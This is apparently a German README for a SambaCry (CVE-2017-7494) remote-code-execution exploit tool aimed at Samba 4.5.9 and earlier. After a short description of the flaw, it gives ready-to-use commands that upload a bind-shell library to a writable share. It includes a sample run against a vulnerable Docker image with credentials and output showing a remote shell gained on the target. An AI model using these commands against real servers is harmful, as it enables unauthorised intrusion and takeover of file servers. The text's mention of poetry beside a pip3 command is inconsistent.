SambaCry RCE-Exploit für Samba 4.5.9

Samba ist eine freie Software-Neuimplementierung des SMB/CIFS-Netzwerkprotokolls. Samba bietet Datei- und Druckdienste für verschiedene Microsoft Windows-Clients und kann in eine Microsoft Windows Server-Domäne integriert werden, entweder als Domänencontroller (DC) oder als Domänenmitglied. Ab Version 4 unterstützt es Active Directory und Microsoft Windows NT-Domänen.

Samba in der 4.5.9-Version und davor ist anfällig für eine Sicherheitslücke zur Remote-Codeausführung namens SambaCry. CVE-2017-7494 ermöglicht es entfernten authentifizierten Benutzern, eine gemeinsam genutzte Bibliothek in einen beschreibbaren freigegebenen Ordner hochzuladen und Codeausführungsangriffe durchzuführen, um die Kontrolle über Server zu übernehmen, die verwundbare Samba-Dienste hosten.

Samba 3.x nach 3.5.0 und 4.x vor 4.4.14, 4.5.x vor 4.5.10 und 4.6.x vor 4.6.4 schränkt den Dateipfad bei der Verwendung von Windows Named Pipes nicht ein, was es entfernten authentifizierten Benutzern ermöglicht, eine gemeinsam genutzte Bibliothek in einen beschreibbaren freigegebenen Ordner hochzuladen und über eine manipulierte Named Pipe beliebigen Code auszuführen.

Exploit

Verwenden Sie poetry, um die Umgebung für diesen Exploit einzurichten

pip3 install -r requirements.txt

Danach können Sie ihn wie folgt ausführen:

./exploit -t <target> -e libbindshell-samba.so \
             -s <share> -r <location>/libbindshell-samba.so \
             -u <user> -p <password> -P 6699

Wenn Sie beispielsweise das verwundbare Image von vulnerables/cve-2017-7494 verwenden und diesen Exploit dagegen ausführen möchten:

./exploit -t <target> -e libbindshell-samba.so \
             -s data -r /data/libbindshell-samba.so \
             -u sambacry -p nosambanocry -P 6699

Und Sie erhalten die folgende Ausgabe:

./exploit -t <target> -e libbindshell-samba.so \
             -s data -r /data/libbindshell-samba.so \
             -u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>

Danksagungen

Das Payload für dieses Projekt sowie der Code wurden stark von opsxcq/exploit-CVE-2017-7494 inspiriert.